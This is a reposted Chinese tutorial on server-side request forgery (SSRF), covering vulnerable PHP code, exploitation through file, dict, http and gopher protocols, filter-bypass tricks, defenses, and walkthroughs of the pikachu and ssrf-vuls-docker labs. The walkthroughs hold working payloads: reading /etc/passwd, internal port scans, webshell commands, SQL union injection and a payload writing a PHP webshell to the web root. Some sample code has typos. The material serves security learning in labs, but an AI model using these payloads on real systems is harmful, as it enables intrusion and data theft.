自学内容网 自学内容网

[Web安全 网络安全]-SSRF服务端请求伪造

文章目录:

一:前言

1.定义

2.原理

3.危害

4.产生的原因

5.用途

6.漏洞出现位置

7.防御方法

8.CSRF 和 XSS 和 XXE 和SSRF的么区别

9.相关危险函数

file_get_contents()函数

fsockopen()函数

curl_exec()函数

SoapClient()类

10.环境

10.1 靶场

10.2 工具

二:ssrf漏洞利用协议

file协议:查找内网存活主机ip

dict协议:查找内网主机开放端口

http/https协议:目录扫描

gopher协议

三:绕过方法

1.更改IP地址利用进制绕过

2.@符号绕过

3.点分割符号替换

4.localhost替换绕过

5.xip.io绕过

6.302跳转临时重定向绕过

7.DNS重绑定攻击

四:pikachu靶场练习

第1关 SSRF(curl) 

第2关 SSRF(file_get_content)

五:ssrf-vuls-docker靶场练习


一:前言

1.定义

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时
利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网
SSRF攻击通常针对外部网络无法直接访问的内部系统

示例:存在SSRF漏洞代码

<?php
    error_reporting(0);
    highlight_file(_FILE_)
    $url=$_POST['ur'];

    //初始化cur对象
    $ch=curl_init($url);

    //设置URL和相应的选项
    curl_setopt($ch, CURLOPT_HEADER, O);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1)

    //执行URL之后把结果传回给浏览器:在输出之前没有做对应的检查直接输出,没有做对应的过滤和清洗消毒(参数注入)
    $result=curl_exec($ch);

    //关闭cURL资源,释放系统资源
    curl_close($ch)
    echo($result);
?>

2.原理

攻击者通过控制内网一台服务器进而攻击在同一内网的其他的服务器 


服务器提供:从其他服务器应用获取数据的功能,而没有对目标地址做过滤和限制

3.危害

读取本地文件

钓鱼邮件

对外网、服务器所在内网、本地进行端口、资产

探测、指纹识别

配合其它漏洞攻击内网其它机器

DOS攻击

4.产生的原因

服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据
        A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站
        我们普通用户只可以访问A网站,不能访问B网站
        但是我们可以同过A网站做中间人,访问B网站,从而达到攻击B网站需求

简而言之: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源

5.用途

1.可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)信息

2.攻击运行在内网或本地的应用程序(比如溢出)

3.对内网的web进行指纹识别,通过访问默认文件实现

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2 sqli等)

5.利用file协议读取主机本地敏感数据文件

6.内外网主机应用程序漏洞的利用、web站点漏洞的利用

6.漏洞出现位置

可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

在页面源码中查找访问的资源地址,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞

所有调外部资源的参数  /  对外发起网络请求的地方都有可能存在ssrf漏洞 

从WEB功能上寻找
    社交分享功能:获取超链接的标题等内容进行显示
    转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
    在线翻译:给网址翻译对应网页的内容
    图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
    图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
    云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
    网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
    数据库内置功能:数据库的比如mongodb的copyDatabase函数
    邮件系统:比如接收邮件服务器地址
    编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
    未公开的api实现以及其他扩展调用URL的功能:可以利用go0gle语法加上这些关键字去寻找SSRF漏洞。一些的ur1中的关键字
    从远程服务器请求资源:upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php


从URL关键字中寻找(inurl:)
    share
    wap
    url
    link
    src
    source
    target
    u
    3g
    display
    sourceURl
    imageURL
    domain
    ...

7.防御方法

1.在URL中过滤掉内网IP段,最佳策略还是开启白名单,只允许必要的地址访问
    比如10.0.0.8/24、172.16.0.0/16、192.168.0.0/16、localhost等


2.过滤掉不常用但是有危险的协议
    file://  dict://  gopher://  ftp://  http://  https://  php://等


3.对返回内容进行识别、过滤,避免返回非预期的页面内容


4.对报错信息统一规划,避免根据错误信息来判断远程服务器的端口状态


5.在内部横向访问流量进行二次认证


6.限制请求的端口为http常用的端口,比如 80、443、8080、8090

8.CSRF 和 XSS 和 XXE 和SSRF的么区别

CSRF(跨站请求伪造)
    定义:CSRF是一种攻击者诱导受害者在已登录的Web应用程序上执行非本意操作的攻击方法。攻击者通过构造恶意请求,利用受害者的Cookie信息,以受害者的身份向服务器发送请求
    原理:服务器端没有对用户提交的数据进行随机值校验,且对HTTP请求包内的Referer字段校验不严,导致攻击者可以伪造用户请求
    影响:CSRF能够执行的操作包括以受害者名义发送邮件、发消息、盗取账号、购买商品、虚拟货币转账等
    防御方法:
        验证HTTP Referer字段
        在HTTP请求中加入随机产生的Token,并在服务器端验证
        使用HTTPS协议,增加攻击难度


XSS(跨站脚本)
    定义:XSS是一种将恶意Script代码注入到Web页面中,当用户浏览该页面时,嵌入的Script代码会被执行,从而达到攻击用户的目的
    原理:服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染页面时执行了恶意脚本
    类型:主要包括反射型XSS、存储型XSS和DOM型XSS。
    影响:攻击者可以利用XSS漏洞窃取用户Cookie、会话令牌、网站内容、重定向用户到恶意网站等
    防御方法:
        对用户输入进行严格的过滤和转义
        设置合适的Content-Security-Policy,减少XSS攻击的风险
        使用HTTP Only Cookie,防止JavaScript读取Cookie


XXE(外部实体注入)
    定义:XXE是针对应用程序解析XML输入类型的攻击,当XML输入包含对外部实体的引用,且被弱配置的XML解析器处理时,就可能发生XXE攻击
    原理:攻击者通过构造恶意的XML数据,利用XML解析器的外部实体解析功能,读取本地文件、发起SSRF攻击、执行远程代码等
    影响:XXE攻击可能导致敏感信息泄露、服务拒绝、数据篡改等严重后果
    防御方法:
        禁用XML解析器的外部实体解析功能
        对XML输入进行严格的过滤和验证
        使用安全的XML库和解析器


SSRF(服务端请求伪造)
    定义:SSRF是一种攻击者通过构造请求,利用服务器的功能作为代理来发送恶意请求至第三方服务器或内部资源的攻击方法
    原理:服务器对用户提供的可控URL过于信任,没有对URL进行严格的过滤和检测,导致攻击者可以构造恶意请求访问内部资源或发起对其他服务器的攻击
    影响:SSRF攻击可能导致内网资源泄露、服务拒绝、数据篡改等严重后果
    防御方法:
        对用户提供的URL进行严格的过滤和检测
        设置URL白名单,只允许访问受信任的外部资源
        禁用服务器不必要的代理功能

9.相关危险函数

PHP
    file_get_contents()
    fsockopen()
    curl_exec()


Python
    pycurl
    urllib/urllib2
    requests

file_get_contents()函数

将文件的内容读取入到一个字符串中

<?php
    $url=$_GET['url'];
    echo file_get_contents($url);
?>

fsockopen()函数

打开一个网络连接或者一个Unix套接字连接

<?php
    $host=$_GET['url'];
    $fp =fsockopen($host,80,$errno,$errstr,30);
    if(!$fp){
        echo "$errstr($errno)<br />\n";
    }else {
        $out ="GET / HTTP/1.1\r\n";
        $out .="Host: $host\r\n";
        $out .="Connection: close\r\n\r\n";
        fwrite($fp, $out);
        while(!feof($fp)){
            echo fgets($fp,128);
        }
        fclose($fp);
    }
?>

curl_exec()函数

执行一个curl会话

<?php
    if(isset($_GET['url'])){
        $link = $_GET['url'];
        $curlobj=curl_init();                                //创建新的 CURL 资源
        curl_setopt($curlobj, CURLOPT_POST,0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,1);    //设置 URL 和相应的选项
        $result=curl_exec($curlobj);                        //抓取URL 并把它传递给浏览器
        curl_close($curlobj);                               //关闭CURL 资源,并且释放系统资源

        //$filename ='./curled/'.rand().'.txt';
        // file put contents($filename, $result);
        echo $result;
    }
>

SoapClient()类

为SOAP1.1,1.2服务器提供客户端。它可以在WSDL或非WSDL模式下使用

// ssrf.php
<?php
    $a = new Soapclient(null,array('uri'=>'http://47.xxx.xxx.72:2333','location'=>'http://47.xx))
    $b = serialize($a);
    echo $b;
    $c = unserialize($b);
    $c->a();    // 随便调用对象中不存在的方法,触发_ca11方法进行ssrf
?>

10.环境

10.1 靶场

ssrf-vulslianx-docker靶场:用于进行安全研究和教育的 Docker 容器,它模拟了一个可能受到服务端请求伪造(SSRF)攻击的环境

pikachu靶场:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞

10.2 工具

  Docker

docker load --input xx.tar

二:ssrf漏洞利用协议

现在服务器上有一个ssrf.php的页面,该页面的功能是获取URL参数,然后将URL的内容显示到网页页面上

    #ssrf.php
    <?php
        function curl($url){
            //curl就是模拟浏览器请求。比如获取远程的网页
        $ch=curl_init();                            //初始化一个url会话
        curl_setopt($ch,CURLOPT_URL,$url);          //设置抓取的url
        curl_setopt($ch,CURLOPT_HEADER,0);          //设置header
        curl_exec($ch);                             //运行curl请求网页
        curl_close($ch);                            //关闭curl会话
        }
        $url=$_GET['url'];                              //从浏览器中传入地址
        curl($url);                                     //传入url函数中
    ?>


    #程序获取url参数,通过curl_init()初始化curl组件后,将参数URL带入curl_setopt($ch,CURLOPT_URL,$url)
    然后调用curl_exec请求该URL。由于服务器端会将banner信息返回给客户端,所以可根据banner判断主机是否存在某些服务
File://     访问本地文件系统 

http://     访问HTTP(s)网址 

dict://     远程访问一个指定的tcp端口

ftp://      访问FTP(s)URLS 

sftp://     SSH文件传输协议或安全文件传输协议

tftp://     简单文件传输协议

ldap://     轻量级目录访问协议

php://      访问各个输入/输出流(I/o streams) 

zlib://     压缩流 

data://     数据(RFC2397) 

ssh2://     Secure Shell 2 

expect://   处理交互式的流 

glob://     查找匹配的文件路径模式 

gopher协议:分布式文档传输协议
    万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了
    基本协议格式:URL:gopher://<host>:<port>/<gopher-path>
    gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色

file协议:查找内网存活主机ip

本地文件传输协议,可以用来读取任意系统文件 

如果服务器端对请求资源所使用的协议方式没有进行限制,那么就可以通过们filee协议访问当前服务器的本地文件
    http://192.168.11.135/ssrf.php?url=file:///etc/passwd


fie:// 从文件系统中获取文件内容,格式为 fie://[文件路径]
    file:///etc/passwd                    读取文件passwd

    file:///etc/hosts                     显示当前操作系统网卡的IP

    file:///proc/net/arp                  显示arp缓存表(寻找内网其他主机)

    file:///proc/net/fib_trie             显示当前网段路由信息

dict协议:查找内网主机开放端口

字典服务器协议:可用于扫描端口、获取内网信息、爆破密码等

通过dict字典服务器协议可以远程访问一个指定的tcp端口,并且会返回端口所提供的服务的部分组件信息
    访问字段资源:如dict://ip:6739/info:

    dict://+ip:端口+/TCP/IP/ 数据
        dict://172.250.250.1
        dict://172.250.250.10:6379/info


通过差异对比,可确认内网端口开放情况
    当目标端口开放(有服务信息显示,但会报错):
    http://192.168.11.135/ssrf.php?url=dict://localhost:80

    当目标端口关闭(无任何显示)
    http://192.168.11.135/ssrf.php?url=dict://localhost:8080

http/https协议:目录扫描

可以用来验证是否存在SSRF漏洞,探测端口以及服务 

当前应用获取用户传递过来的url参数后端发送请求,并且将最终的请求结果返回到html前端页面
    http://192.168.11.135/ssrf.php?url=http://www.baidu.com
    http://192.168.11.135/ssrf.php?url=https://www.baidu.com


当前网站页面返回的内容并非是从当前用户pc端浏览器发送的,而是,服务器端接收到客户端传递过来的ur1参数,然后在后端服务器代码中通过构造请求发送,最终将结果返回到前端
    如果在这里用户传递的是一个内网应用的ip,当前返回的结果192.168.10.1 为网关
    http://192.168.11.135/ssrf.php?url=http://192.168.10.1

    http://192.168.11.135/ssrf.php?url=http://192.168.10.1/shell.php
    http://192.168.11.135/ssrf.php?url=http://192.168.10.1/$1$.php            burp工具


ssrf漏洞服务器所在的内网大小,互通的网段,限制了当前能够获取到资源的数量
如果当前服务器端对请求资源的协议做了限制,那么可以通过 https 协议进行绕过

gopher协议

互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell 

Gopher协议是HTTP协议出现之前,在Internet上常见且常用的一个协议。现在 Gopher 协议已经慢慢淡出历史
可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行GET、POST请求、利用gopher协议getshell、使用ssrf漏洞结合gopher协议攻击内网redis


URL:gopher://<host>:<port>/<gopher-path> <TCP数据流>
    需要注意的是gopher的默认端口是70

    如果发起post请求,回车换行需要使用%0d%0a,以及&?等符号也需要进行URL编码

    Gopher请求不转发第一个字符
        curl gopher://127.0.0.1:7777/abcd        bcd
        curl gopher://127.0.0.1:7777/_abcd       abcd
GET提交
    GET/name.php?name=benben HTTP/1.1
    Host:172.250.250.4
        第一种方法:直接输入(注意间隔和回车换行)        
            gopher://172.250.250.4:80/_GET%20/name.php%3fame=benben%20HTTP/1.1%0d%0AHot:%20172.250.250.4%0d%0A                    
            注意添加端口号80和填充位_
            get提交最后需要增加一个换行符
            URL编码
                空格        %20
                问号        %3f
                换行符      %0d%0A

        第二种方法:利用Burp工具进行两次编码
            Convert selection——>url——>URL--encode key characters

            1.gopher://172.250.250.4:80/_提交,用burp工具拦截,粘贴下面代码
                GET/name.php?name=benben HTTP/1.1
                Host:172.250.250.4
            2.利用Burp工具进行两次编码


POST提交:利用Burp工具进行两次编码
    POST/name.php HTTP/1.1
    Host: 172.250.250.4
    Content-Type: application/x-www-form-urlencoded
    Content-Length:15

    name=benben2222

三:绕过方法

1.更改IP地址利用进制绕过

例如http://192.168.0.1这个IP地址可以被改写成

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式
    ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
    ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
    ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
    0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏


对于这种过滤我们采用改编IP的写法的方式进行绕过:IP中的每一位,各个进制可以混用

    8进制格式:http://0300.0250.0.1

    16进制格式:http://0xC0.0xA8.0.1

    10进制整数格式:http://3232235521
    
    16进制整数格式:http://0xC0A80001

    合并后两位:http://1.1.278 / 1.1.755

    合并后三位:http://1.278 / 1.755 / 3.14159267

2.@符号绕过

把域名拼接上去,加@符号 

http://www.baidu.com@10.10.10.10
与http://10.10.10.10请求是相同的

3.点分割符号替换

在浏览器中可以使用不同的分割符号来代替域名中的.分割,
可以使用代替    。    、    ?、    ·    %2e    //
    http://www。github。com

4.localhost替换绕过

localhost可以用[::1]或127.0.0.1的编码形式代替

5.xip.io绕过

http://xxx.192.168.0.1.xip.io/ == http://192.168.0.1

(xxx 任意)

6.302跳转临时重定向绕过

 当服务器收到这个请求时,它返回一个302重定向响应,将浏览器重定向到目标内网地址

302重定向绕过通常指的是在Web开发中,通过某种方式绕过服务器设置的302临时重定向,直接访问目标资源
    HTTP/1.1 302 Found  
    Location: http://127.0.0.1/flag.php

    <?php 
        header(' Location: http://127.0.0.1/flag.php');
    ?>


场景描述
    假设你正在开发一个Web应用,该应用部署在本地服务器上,并且你希望通过一个公网可访问的域名来调试这个应用
    然而,由于安全策略的限制,直接访问内网本地服务器的IP地址或端口号(如http://192.168.1.100:8080)是不被允许的
    此时,你可以设置一个公网服务器,通过302重定向的方式绕过这个限制
实现步骤
    设置公网服务器:
        首先,你需要有一个公网可访问的服务器,比如一个云服务器。
        在这个服务器上,你可以部署一个简单的Web服务,用于处理重定向请求
    编写重定向代码:示例代码(Node.js + Express)
        const express = require('express');  
        const app = express();  
        const port = 3000;  

        app.get('/redirect', (req, res) => {  
          const redirectUrl = req.query.url; // 假设通过查询参数传递目标URL  
          if (redirectUrl) {  
            res.redirect(302, redirectUrl); // 302重定向到目标URL  
          } else {  
            res.status(400).send('Missing redirect URL');  
          }  
        });  

        app.listen(port, () => {  
          console.log(`Server running on port ${port}`);  
        });

        在这个例子中,当访问http://your-public-server.com/redirect?url=http://192.168.1.100:8080/your-page时
        服务器会返回一个302重定向响应,告诉浏览器去访问http://192.168.1.100:8080/your-page
    配置和使用:
        将上述代码部署到你的公网服务器上,并确保服务器正在运行
        在需要调试或绕过安全策略的场景中,使用上述重定向URL来访问你的本地服务器资源

7.DNS重绑定攻击

 rbndr.us dns rebinding service

攻击原理:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip,达到突破同源策略或过waf进行ssrf的目的


对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个
这样就会变成有概率的成功,不是完全成功而已
    私网:127.0.0.1

    公网:183.190.123.72

    利用网站生成:7f000001.b7be7b48.rbndr.us

    最终:http://7f000001.b7be7b48.rbndr.us/flag.php

四:pikachu靶场练习

第1关 SSRF(curl) 

原地址:http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php

查看是否存在漏洞:出现百度搜索的特征,说明存在漏洞

http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

file协议查看本地文件 

http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1


http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/win.ini

ftp协议查看服务器上的文件 

http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=ftp://ele:ele@192.168.101.14/1.txt

dict协议扫描内网主机开放端口

用burpsuite的intruder模块来扫描192.168.101.14上的开放端口        netstat -ano

http://192.168.101.16/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.101.14:21

第2关 SSRF(file_get_content)

​原地址:http://192.168.101.16/pikachu/vul/ssrf/ssrf_fgc.php

 file协议查看本地文件  

http://192.168.101.16/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///c:/windows/win.ini

php://filter/读php源代码

http://192.168.101.16/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../rce/rce.php

http协议请求内网资源

http://192.168.101.16/pikachu/vul/ssrf/ssrf_fgc.php?file=http://192.168.101.14/1.txt

五:ssrf-vuls-docker靶场练习

http://192.168.50.243:8080 

第一步(file查找内网存活主机ip):判断 SSRF 是否存在:查看有没有对应的信息 
    https://www.baidu.com/robots.txt
    
    file:///etx/passwd                                //获取内网信息

    file:///etx/hosts                                 //获取主机名查询静态表

    file:///proc/net/arp                              //查看arp缓存列表


第二步(dict查找内网主机开放端口):探测内网端口
    dict:///127.0.0.1:80                              //使用Burp进行爆破
    dict:///127.0.0.1:3306
    dict:///10.10.10.1:22


第三步(http目录扫描):内网目录爆破
    http://172.72.23.22:80/shell.php                  //使用Burp进行爆破 phpinfo.php index.php shell.php webshell.php


第四步:敏感信息泄漏
    http://172.72.23.22:80/phpinfo.php


第五步:代码注入
    http://172.72.23.22:80/shel.php?cmd=ls%20-al       //ls列出目录内容 a所有 l以长格式显示信息
    http://172.72.23.22:80/shell.php?cmd=id
    http://172.72.23.22:80/shell.php?cmd=cat%20/etc/hosts


第六步:SQL注入
    http://172.72.23.23:80?id=1

    http://172.72.23.23/?id=1' and 1=2 union select version(),user(),3,database()

    http: //172.72.23.23?id=1'%2520and$25201=2%2520union$2520select$2520version(),user(),3,database( )%20--%20
    如果是两次url编码那么空格会变成%2520


第七步:写入一个webshell
    http://172.72.23.23:80/?id=-1'%20union
                            %20select%select%20123'<?php%20system($_GET[1])?>'
                            %20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+

原文地址:https://blog.csdn.net/liu17234050/article/details/142419898

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!